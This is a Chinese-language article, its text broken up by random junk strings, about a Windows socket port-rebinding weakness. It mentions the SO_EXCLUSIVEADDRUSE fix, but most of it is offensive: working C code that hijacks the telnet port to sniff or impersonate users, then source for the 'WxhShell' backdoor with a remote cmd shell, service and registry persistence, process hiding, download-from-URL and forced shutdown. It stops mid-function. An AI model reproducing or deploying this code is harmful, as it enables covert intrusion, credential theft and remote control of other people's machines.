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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;r3|EA35 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1)ZdkTF@H xu*dPG)v saddr.sin_family = AF_INET; "$|ne[b2 /w:~!3Aj0+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4z!(!J) q@Sj$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yx/.4DW1Ua D,,
x<JG| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s%t =*+L\ 9E]7Etfw 这意味着什么?意味着可以进行如下的攻击: NU!B|l O:W4W=K 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z+C&?K GsC4ty 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ri1:q.:I] Iih]q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^|=3sJ4[U 3Uni{Z]Q) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 fnudu0k Q#*Pjl 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $rz'Ybs hOIk6}r4X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )n1 7}Qm`V "6o5x&H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C/A~r ah0 #include "QCVi R #include y7Y g$)sL #include %B-m- =gz #include f7j9'k DWORD WINAPI ClientThread(LPVOID lpParam); 2?\L#=<F int main() </Ry4x^A { VtJyE} WORD wVersionRequested; i{6wns?KMj DWORD ret; |iB
svI: WSADATA wsaData; 2V =bE- BOOL val; "3:TrM$|A
SOCKADDR_IN saddr; ]$?\,` SOCKADDR_IN scaddr; f)!7/+9> int err; FK.Qj P: SOCKET s; P};GcV- SOCKET sc; uM('R;<^ int caddsize; ?FwjbG< HANDLE mt; {A MoE+U DWORD tid; M]M(E) *5 wVersionRequested = MAKEWORD( 2, 2 ); wT-@v,$ err = WSAStartup( wVersionRequested, &wsaData ); @2)ImgK[ if ( err != 0 ) { ^Ts8nOGMh printf("error!WSAStartup failed!\n"); dLy-J1h\ return -1; ,N`D{H"F } M[,G#GO saddr.sin_family = AF_INET; ~F=,)GE Z|qUVD5Ic //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cp<jwcc! #gY|T| saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0@dN$e saddr.sin_port = htons(23);
6i_dL|c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xEvm>BZi
{ T&~7*j(|e printf("error!socket failed!\n"); K44j-Ypb return -1; 9!|+GIjn } @mId{w z val = TRUE; 7c.LyvM //SO_REUSEADDR选项就是可以实现端口重绑定的 B5fF\N^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {>R'IjFc { _=RK printf("error!setsockopt failed!\n"); 1#
X*kF return -1; c-hhA%@Wq } Gmp`3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P V,AN
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4m3pF0k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZMI
vzQYI N"rZK/@} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dt|f4XWF { ~6-6aYhe ret=GetLastError(); h`b[c.% printf("error!bind failed!\n"); *]RCfHo\= return -1; ;(,1pi7| } K5SP8<. listen(s,2); ?^H1X-; while(1) Jdp@3mP
{ H{nYZOf/ caddsize = sizeof(scaddr); ^NPbD<~Lb //接受连接请求 eGh7 ,wngH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d65t"U if(sc!=INVALID_SOCKET) hpOUz% { 7JHS8C<] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Kk_h&by? if(mt==NULL) }MV=I$S2U { ' 5%`[& printf("Thread Creat Failed!\n"); A/#Xr break; ccu13Kr>E } -!b@\= } h1 (MvEt CloseHandle(mt); #cD20t } gaXKP1m^ closesocket(s); 9 ?~Y WSACleanup(); iu(+
N~ return 0; !@vM@Z" } K:g:GEDgf DWORD WINAPI ClientThread(LPVOID lpParam) lTn~VsoRZ { ~ok i s SOCKET ss = (SOCKET)lpParam; xMAb=87_
SOCKET sc; cXo^.u unsigned char buf[4096]; auS.q5
% SOCKADDR_IN saddr; dn)pVti_ long num; K0Zq)< DWORD val; ;&%G)f DWORD ret; 3JR1If //如果是隐藏端口应用的话,可以在此处加一些判断 Lc:DJA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 %">
Oy&3 saddr.sin_family = AF_INET; R1=ir# U|D saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9M$N>[og saddr.sin_port = htons(23); f8'$Mn, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $ZOKB9QccC { (66DKG printf("error!socket failed!\n"); 1KtPq, return -1; p~xrl jP$ } :xP$iEA`G val = 100; w(xRL#% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N2x!RYW { Vt!<.8&` ret = GetLastError(); _noQk3N return -1; IAJYD/Y&? } A->y#KQ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ax)j$ { +#d}3^_] ret = GetLastError(); 6b8@6;&LI return -1; 2!4.L&Ki } '#b7Z?83C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "<J%@ { hIr$^% printf("error!socket connect failed!\n"); mzX <! closesocket(sc); K{s%h0 closesocket(ss); 2i@t;h2E
return -1; !&Z,ev } ]$vJK while(1) N3`W%ws`~ { X0.-q%5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P6E=*^^m( //如果是嗅探内容的话,可以再此处进行内容分析和记录 +L$,jZqS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v 8`)h<:W? num = recv(ss,buf,4096,0); Twj?SV if(num>0) M5Twulz/w send(sc,buf,num,0); (cj3[qq else if(num==0) (3=(g break; iWN-X
( num = recv(sc,buf,4096,0); .u_k?.8| if(num>0) XFg.Z+ # send(ss,buf,num,0); g}-Ch# else if(num==0) P"g
Y|}| break; weOzs]uc } &z\]A,=Tc closesocket(ss); ;|hEXd?b closesocket(sc); -|DSfI#j return 0 ; @MV%&y*z. } r12{XW?~ Pj!{j)-tS yO6
_Gq{ ========================================================== ecH-JPm' ClH aR 下边附上一个代码,,WXhSHELL QxGQF| p]zYj >e ========================================================== ?]=fC{Rh lK?
Z38 #include "stdafx.h" Y"uFlHN&i V+dfV`*k #include <stdio.h> Ur626} #include <string.h> 4R U1tWQ% #include <windows.h> sX&M+'h #include <winsock2.h> S%ri/}qI[{ #include <winsvc.h> LaE;{ jY #include <urlmon.h> %}=$HwN) I~R<}volu #pragma comment (lib, "Ws2_32.lib") sQA{[l!aj #pragma comment (lib, "urlmon.lib") {1GW,T!# 9rb/h kX& #define MAX_USER 100 // 最大客户端连接数 .'SXRrn&:C #define BUF_SOCK 200 // sock buffer f$E66yG #define KEY_BUFF 255 // 输入 buffer ~PNO|]8j ?CS
jn #define REBOOT 0 // 重启 kCR)k=* #define SHUTDOWN 1 // 关机 F GOa!G !40t:+I #define DEF_PORT 5000 // 监听端口 gkpNT) wYf=(w\c #define REG_LEN 16 // 注册表键长度 oPNYCE #define SVC_LEN 80 // NT服务名长度 y0qE::/H$ vtFA#})~ // 从dll定义API a{h(BI^~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #^Dc:1, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xQ7n$.?y@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K]bS:[34 R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3D~Fu8Hg1 '3o0J\cz // wxhshell配置信息 F.=uJdl.! struct WSCFG { 4[3T%jA int ws_port; // 监听端口 D^PsV char ws_passstr[REG_LEN]; // 口令 Et'C4od s int ws_autoins; // 安装标记, 1=yes 0=no HHZ!mYr char ws_regname[REG_LEN]; // 注册表键名 kXC.rgal char ws_svcname[REG_LEN]; // 服务名 bE>3D#V< char ws_svcdisp[SVC_LEN]; // 服务显示名 2LYd
# !i char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZZC=
7FB char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F!>K8 q int ws_downexe; // 下载执行标记, 1=yes 0=no 1A-8,) char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Hcd> \0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i&,U);T T , =ga }; P&aH6*p1 >*} qGk // default Wxhshell configuration BH0rT}) struct WSCFG wscfg={DEF_PORT, SEchF"KJQF "xuhuanlingzhe", BHmA*3? 1, ~rCnST "Wxhshell",
n @L!{zY "Wxhshell", <J-OwO a-1 "WxhShell Service", 8"LaP3U "Wrsky Windows CmdShell Service", )O- x1U "Please Input Your Password: ", %FFw!eVi 1, @\l>
<R9V " http://www.wrsky.com/wxhshell.exe",
Q]xW}5
/ "Wxhshell.exe" QBsDO].J< }; w#mnGD sW2LNE // 消息定义模块 |V9%@
Y? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,H[AC}z2X char *msg_ws_prompt="\n\r? for help\n\r#>"; 0D#!!r ; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; &`L5UX char *msg_ws_ext="\n\rExit."; wI}'wALhA char *msg_ws_end="\n\rQuit."; K=5_jE^e char *msg_ws_boot="\n\rReboot..."; 0HD1Ob^@ char *msg_ws_poff="\n\rShutdown..."; 5,AQ~_,'\ char *msg_ws_down="\n\rSave to "; _R(5?rG, Y)u}+Yg char *msg_ws_err="\n\rErr!"; SbnVU[ char *msg_ws_ok="\n\rOK!"; 3}:pD]`h 0v7;ZxD char ExeFile[MAX_PATH]; 2K*-uT#$~ int nUser = 0; lIjHd#q-C HANDLE handles[MAX_USER]; G0s:Dum int OsIsNt; =cC]8Pz? cn\& ;55v SERVICE_STATUS serviceStatus; f!$J_dz SERVICE_STATUS_HANDLE hServiceStatusHandle; KR^peWR ^YIOS]d>8# // 函数声明 "(efd~.] int Install(void); x#8=drh.:C int Uninstall(void); 4\ OELU int DownloadFile(char *sURL, SOCKET wsh); Ok`U*j int Boot(int flag); ,IJ Nuu\ void HideProc(void); ''v1Pv- int GetOsVer(void); 3sZK[Y|ax int Wxhshell(SOCKET wsl); uBE,z>/,; void TalkWithClient(void *cs); J#x91Jh int CmdShell(SOCKET sock); 'c$9[|x int StartFromService(void); ,;d9uG2 int StartWxhshell(LPSTR lpCmdLine); l.)N Ba+OoS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BWPYHWW}E VOID WINAPI NTServiceHandler( DWORD fdwControl ); R-Fi`#PG2 *>'R
R< // 数据结构和表定义 ewY[vbF SERVICE_TABLE_ENTRY DispatchTable[] = CQ( @7 { \7j)^ {wscfg.ws_svcname, NTServiceMain}, kxn;; {NULL, NULL} 8&UuwZ6i- }; <aHt6s' =!CuCV7$1O // 自我安装 2@&|hd=- int Install(void) nIi_4=Z
{ F>b6fUtR char svExeFile[MAX_PATH]; Uqpvj90sw HKEY key; 0&nF Vsz strcpy(svExeFile,ExeFile); ^n2w6U0 R$@.{d&:w // 如果是win9x系统,修改注册表设为自启动 .4Ny4CMHZ if(!OsIsNt) { o7T|w~F~R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1I+5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;:e,C@Fm RegCloseKey(key); g^C6"rsnl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(KQt%] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =5|5j!i=q RegCloseKey(key); j>b OnCp~ return 0; r#Fu<so, } v4zd
x) } 5,c` } V0AX1?H~ w else { >ATW/9r kxmS // 如果是NT以上系统,安装为系统服务 QLUe{@ivc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $($SQZK& if (schSCManager!=0) ~/x42|t { P&tK}Se^V SC_HANDLE schService = CreateService )g --=w3 ( ;dFe >`~ schSCManager, VxFy[rP wscfg.ws_svcname, @ubz?5 wscfg.ws_svcdisp, \fz
j fZ1n SERVICE_ALL_ACCESS, Yq^y"rw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zb}PP;O SERVICE_AUTO_START, Ww(_EW SERVICE_ERROR_NORMAL, <di_2hN svExeFile, i`SF<)M( NULL, G'py)C5; NULL,
flB,_ NULL, o/zCXZnw# NULL, X2uX+}h*tA NULL 0l=}v%D ); EC~t'v if (schService!=0) ;9PM?Iy[ { R,\
r{@yrz CloseServiceHandle(schService); 0c5_L6_z CloseServiceHandle(schSCManager); V3o AZ34) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1 ~7_! strcat(svExeFile,wscfg.ws_svcname); VL{#.;QQa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `aUp&8{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @,MdvR+a RegCloseKey(key); Vd0GTpB?1 return 0; qj6`nbZ{va } 1pb;A;F,A } 0uz"}v) CloseServiceHandle(schSCManager); ffM(il/2 } 5G<CDgl^! } 2jW>uk4/i {Pb^Lf > return 1; 3I5WDuq } QRlzGRueR& 88>Uu!M=f // 自我卸载 Z ~(XyaN int Uninstall(void) JLu0;XVK { Ln_l>X6j51 HKEY key; ^PQV3\N _")h
%)f if(!OsIsNt) { hQm4R]a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m=MT`-: RegDeleteValue(key,wscfg.ws_regname); BB.TrQM.# RegCloseKey(key); $)3PF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y*k<NeDyn RegDeleteValue(key,wscfg.ws_regname); WO-WoPO RegCloseKey(key); ^eW.hNg return 0; ]uvbQ.l_t } >t2b?(h/x } f4S@lyYF } uC(S`Q[Bg else { =.E(p)fz [bv@qBL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h`]/3Ma*: if (schSCManager!=0) -YV4
O { X=pt}j,QrP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #0u69 if (schService!=0) Yd;r8rN { winJ@IY W if(DeleteService(schService)!=0) { f hG2 CloseServiceHandle(schService); } qv-lO CloseServiceHandle(schSCManager); XyphQ}\u return 0; C[nr> } ? SP7vQ/ CloseServiceHandle(schService); 9Nu#&_2R } |V\.[F2Fe CloseServiceHandle(schSCManager); xD#I&. } o'7ju~0L } #L.}CzAz !2|`aa return 1; %GbPrlu } 5vi#ItN}| 0juIkN# // 从指定url下载文件 T(UYlLe int DownloadFile(char *sURL, SOCKET wsh) mzxvfXSF { [|n-x3h HRESULT hr; -Y=c g; char seps[]= "/"; W 'a~pB1I char *token; 4sBoD=e char *file; 5?L:8kHsH char myURL[MAX_PATH]; j!MA]0lTM char myFILE[MAX_PATH]; )75yv<L2S, R%_H\-wo strcpy(myURL,sURL); &NjZD4m`= token=strtok(myURL,seps); b*F~%K^i$ while(token!=NULL) ~|{)h^]@ { sLa)~To file=token; *rz(}(r token=strtok(NULL,seps); Gd6 ;'ZCmY } ,XG|oo- ?VZXJO{^ GetCurrentDirectory(MAX_PATH,myFILE); (vsk^3R[6 strcat(myFILE, "\\"); }0*ra37z> strcat(myFILE, file); sq(Ar(L< send(wsh,myFILE,strlen(myFILE),0); E'S;4B5? send(wsh,"...",3,0); dU>R<jl!$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); liw 9:@+V if(hr==S_OK) +'j*WVE%5 return 0; &tz%WW%D8 else /Np"J return 1; b/,!J]W cvV?V\1f } 3b)T}g VgsCwJ9w // 系统电源模块 h"1"h. int Boot(int flag) ;=VK_3" { @VC9gdO/ HANDLE hToken; V@n(v\F TOKEN_PRIVILEGES tkp; <fsn2[V:B% iC|6roO!jk if(OsIsNt) { Ed&,[rC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y~c4:*L3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >)J47j7{c tkp.PrivilegeCount = 1; h}`&]2|] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pv %vx U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q8xc70: R if(flag==REBOOT) { yCkW2p]s,K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %{~mk[d3 return 0; -?w v}o } %Di7u- x else { ds$ \vSd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :KV,:13`D return 0; AV[P QI } S,Wl)\ } b8{h[YJL2 else { b!5tFX;J if(flag==REBOOT) { {`Fx~w;i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QV'3O| return 0; :Bv&)RK } F{*9[jY else { {uwk[f{z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $,&gAU return 0; J'&B:PZObB } !/Bw,y ri< } Avv =Mu'+,dT return 1; ~0[G/A$] } \/'#=q1 z)W#&JFF // win9x进程隐藏模块 -4y)qGb*? void HideProc(void) o.A}`` { dJQ }{,+6 mWN1Q<vn,l HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *@G(3 n if ( hKernel != NULL ) 0'%+X| { cfC; eRgq~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g3|Y$/J7P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 76IALJ00V FreeLibrary(hKernel); {b-0_ } # McK46B z (ju
aDn) return; q]iKz%|Z/ } %KJhtd"q @q{:Oc^ // 获取操作系统版本 ,p*ntj{ int GetOsVer(void) 59Tg"3xB< { *3F /Ft5 OSVERSIONINFO winfo; [!:-m61 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jsqUMy- GetVersionEx(&winfo); :rTKqX&"j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `Dz]z_
return 1; mHI4wS>()+ else
D?\" return 0; k67i`f= } nv_m!JG7 STXqq[+Rf // 客户端句柄模块 gf3u0' $ int Wxhshell(SOCKET wsl) *,pZ fc { `b^#quz SOCKET wsh; oA!5dpNhU struct sockaddr_in client; -
5o<Q'( DWORD myID; k}I5x1>& mI?* Z%>g while(nUser<MAX_USER) 7}#*3*] { y?*[}S int nSize=sizeof(client); $/<"Si&( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i)@U.-*5m if(wsh==INVALID_SOCKET) return 1; U+9-li j1;_w handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?O<`h~'$+ if(handles[nUser]==0)
(^tr}?C closesocket(wsh); vR%j#v|s else ]5o0 nUser++; _A;vSp.` } eN<>#:` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); as\<nPT{Fj ^(dGO)/ return 0; E'&OOEMN- } &AQg'| C;d|\[7Z // 关闭 socket /`4v"f0V void CloseIt(SOCKET wsh) r&%gjqt { BGlGpl closesocket(wsh); Vp(D|}P nUser--; 8m/FKO (r ExitThread(0); #RR:3ZPZC } HsjELbH p@cfY]<7 // 客户端请求句柄 )d770Xg+ void TalkWithClient(void *cs) 1qm/{>a- { xUiWiOihr6 t-*VsPy SOCKET wsh=(SOCKET)cs; "4Lg8qm char pwd[SVC_LEN]; JAGi""3HG char cmd[KEY_BUFF]; 1AV1d%F char chr[1]; [ 5CS}FB int i,j; :"OZc7
~ RsqRR`|X? while (nUser < MAX_USER) { !q~X*ZKse BB2_J=wA if(wscfg.ws_passstr) { *1|YLy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x38SSzG:L //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tsTR2+GZS //ZeroMemory(pwd,KEY_BUFF); P[Y{LKAbb i=0; ?r
-\%_J_( while(i<SVC_LEN) { N5q}::Odc u"`5 // 设置超时 KXoL,)Hl fd_set FdRead; b lRY7 struct timeval TimeOut; !p]T6_t]Q FD_ZERO(&FdRead); ffmG~$Yh_ FD_SET(wsh,&FdRead); Y=P9:unG TimeOut.tv_sec=8; itqQ)\W TimeOut.tv_usec=0; PtQQZ"ept int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 763E 6,7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NqiB8hZ~ JwN}Jm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #d}0}7ue pwd =chr[0]; 4o1Q7 if(chr[0]==0xd || chr[0]==0xa) { :0
W6uFNOU pwd=0; >:w?qEaE break; jgk{'_ j } `FZ(#GDF i++; K)<Wm,tON } b\SXZN)Be dIoF ~8V // 如果是非法用户,关闭 socket l?3vNa FeR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /M0l
p } 3[MdUj1y[ :`:xP send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =3h+=l[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !7A"vTs :.C+?$iuX while(1) { ,|e} Y
[ ??%)|nj. ZeroMemory(cmd,KEY_BUFF); U>/<6Wd IY];Ss&i // 自动支持客户端 telnet标准 bin6i2b j=0; ]*bAF^8i while(j<KEY_BUFF) { GwgFi@itN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k-{yu8*'; cmd[j]=chr[0]; 2-B6IPeI if(chr[0]==0xa || chr[0]==0xd) { 9uA,
+ cmd[j]=0; Jy]FrSm^ break; 8!Wfd)4=,F } =jJ H^Y2 j++; >}-~rZ } T$: >* |?\gEY-Se // 下载文件 qru2h #
if(strstr(cmd,"http://")) { PYdIP\<V send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5."5IjZu if(DownloadFile(cmd,wsh)) {F;,7Kn+l send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}3P1.n: else ]WTf< W< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]O6KKz } ^H'hD else { J9g|#1G /yLzDCKn switch(cmd[0]) { aXRv}WO$>k +n@f'a"> // 帮助 /)sDnJ1r case '?': { *
eA{[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gh2#-~|cB break; %GM>u2baw } ^Ku\l #B // 安装 ~RcNZ\2y case 'i': { VT'0DQ!NIq if(Install()) o^6jyb!j send(wsh,msg_ws_err,strlen(msg_ws_err),0); MzG5u<D else 1v;'d1Hg; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $8jaapNm@ break; d/l,C4p } 6,B-:{{e" // 卸载 ?lF mXZy` case 'r': { 0('OyH) if(Uninstall()) aL88E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \s,Iz[0Vfz else 7@FDBjq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3}08RU7[! break; )\8URc|J } cN62M=** // 显示 wxhshell 所在路径 66/Z\H^d case 'p': { E^7C
_JP char svExeFile[MAX_PATH]; aPprMQ5 strcpy(svExeFile,"\n\r"); tJff+n> strcat(svExeFile,ExeFile); 'P+f|d[ send(wsh,svExeFile,strlen(svExeFile),0); I4rV5;f
H4 break; ojX%RU } NPS.6qY // 重启 g4Y) Bz case 'b': { Tj Mb>w9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DG3[^B if(Boot(REBOOT)) cvhlRI%6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8al else { +-U@0&Y3M closesocket(wsh); pQqbZ3] ExitThread(0); {nTG~d } l(gJLjTH% break; IeZ&7u } it~Z|$ // 关机 ~
W@X- case 'd': { :]yg send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Uv)Sf{ if(Boot(SHUTDOWN)) DTPay1]6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8}bZ[ else { -H`\?
R closesocket(wsh); ]\7lbLv ExitThread(0); X R4 )z } [$^A@bqk break; s\_l=v3 } `{DG;J03[ // 获取shell yji>*XG case 's': { FW_G\W. CmdShell(wsh); Vz'HM$ closesocket(wsh); UkZ\cc}aC/ ExitThread(0); z/weit break; _$8{;1$T? } 8qN"3 Et // 退出 m#*h{U$ case 'x': { ("OAPr\2dw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vm|!{5l:=y CloseIt(wsh); W,DZ ;).% break; _r]nJEF5 } o!=WFAi[pX // 离开 pL! a case 'q': { IJ0#iA. T send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7RD$=?o O' closesocket(wsh); #K|0laul WSACleanup(); MA$Xv`6I\ exit(1); Gbn4*<N break; 3524m#4&@ } oKRFd_r + } alc] } DKTD Z* "?P[9x} // 提示信息 L@nebT;\' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {M[~E|@D } zFywC-my@ } , |l@j% wYjQV?, return; ~H u"yAR } f|#8qiUS &Xv1[nByU // shell模块句柄 ]rnXNn; int CmdShell(SOCKET sock) I(n }<)eF {
J,(7.+`~# STARTUPINFO si; 0aogBg_@K ZeroMemory(&si,sizeof(si)); mL$f[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v77fQ0w3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZjS(ad*.2 PROCESS_INFORMATION ProcessInfo; 'l|R5 char cmdline[]="cmd"; FN!1|'VK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '#W_boN return 0; x#mtS-sw2Q } >fH*XP>( vr 4O8# // 自身启动模式 0cFn{q'u int StartFromService(void) N
xFUO0O3 { ) "[HZ/ typedef struct [zQWyDu { T9?54r DWORD ExitStatus; 3 z=\.R DWORD PebBaseAddress; =JW[pRI5a DWORD AffinityMask; AWT"Y4Ie DWORD BasePriority; U<[jT=L ULONG UniqueProcessId; Oc~aW3*A( ULONG InheritedFromUniqueProcessId; B6MkF"J< } PROCESS_BASIC_INFORMATION; csDQva\ w12}Rn8 PROCNTQSIP NtQueryInformationProcess; =!CU $g W$'0Dc static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8+>\3j static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5ITq?%{M ^)0 9OV+hF HANDLE hProcess; 5kn+
>{jh` PROCESS_BASIC_INFORMATION pbi; |1Hc& _B[WY HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :6D0j if(NULL == hInst ) return 0; !y. $J<
